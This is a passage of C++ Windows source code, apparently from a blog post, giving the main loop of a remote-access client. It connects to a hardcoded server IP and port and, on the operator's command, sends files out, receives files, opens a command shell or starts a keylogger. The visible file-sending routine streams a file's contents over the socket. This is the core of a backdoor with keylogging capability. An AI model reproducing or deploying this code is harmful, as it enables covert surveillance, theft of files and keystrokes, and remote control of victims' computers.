  614.     unsigned int filelen1 = htonl(filelen);  
  615.     send(s, (char*)&filelen1, sizeof(unsigned int), 0);  
  616.     char buf[BUFFER_SIZE * 32];  
  617.     dwBytesToRead = filelen;  
  618.     dwBytesRead = 0;  
  619.     while (dwBytesToRead > 0)  
  620.     {  
  621.         cout << dwBytesToRead << endl;  
  622.         memset(buf, 0, sizeof(buf));  
  623.         ReadFile(hFile, buf, 1024, &dwBytesRead, NULL);  
  624.         if (dwBytesRead == 0)       break;  
  625.         dwBytesToRead -= dwBytesRead;  
  626.         send(s, buf, dwBytesRead, 0);  
  627.     }  
  628.     CloseHandle(hFile);  
  629. }  
  630.   
  631. int _tmain(int argc, _TCHAR* argv[])  
  632. {  
  633.     WORD sockVersion = MAKEWORD(2, 2);  
  634.     WSADATA wsaData;  
  635.     int error = WSAStartup(sockVersion, &wsaData);  
  636.     if (error)  
  637.     {  
  638.         cout << "fail to startup" << GetLastError() << endl;  
  639.         WSACleanup();  
  640.         return -1;  
  641.     }  
  642.     SOCKET socketClient = socket(AF_INET, SOCK_STREAM, 0);  
  643.     if (socketClient == INVALID_SOCKET)  
  644.     {  
  645.         cout << "socket error!  " << GetLastError() << endl;  
  646.         WSACleanup();  
  647.         closesocket(socketClient);  
  648.         return -1;  
  649.     }  
  650.   
  651.     sockaddr_in addrServer;  
  652.     addrServer.sin_addr.S_un.S_addr = inet_addr(IP);  
  653.     addrServer.sin_family = AF_INET;  
  654.     addrServer.sin_port = htons(PORT);  
  655.     connect(socketClient, (SOCKADDR*)&addrServer, sizeof(SOCKADDR));  
  656.     int op;  
  657.     while (1)  
  658.     {  
  659.         recvn(socketClient, (char*)&op, sizeof(int));   
  660.         if (op == 1)  
  661.         {  
  662.             SendFile(socketClient);  
  663.         }  
  664.         if (op == 2)  
  665.         {  
  666.             GetFile(socketClient);  
  667.         }  
  668.         if (op == 3)  
  669.         {  
  670.             UseCmd(socketClient);  
  671.         }  
  672.         if (op == 4)  
  673.         {  
  674.             UseKeyLogger(socketClient);  
  675.         }  
  676.     }  
  677.     closesocket(socketClient);  
  678.     return 0;  
  679. }  




原创粉丝点击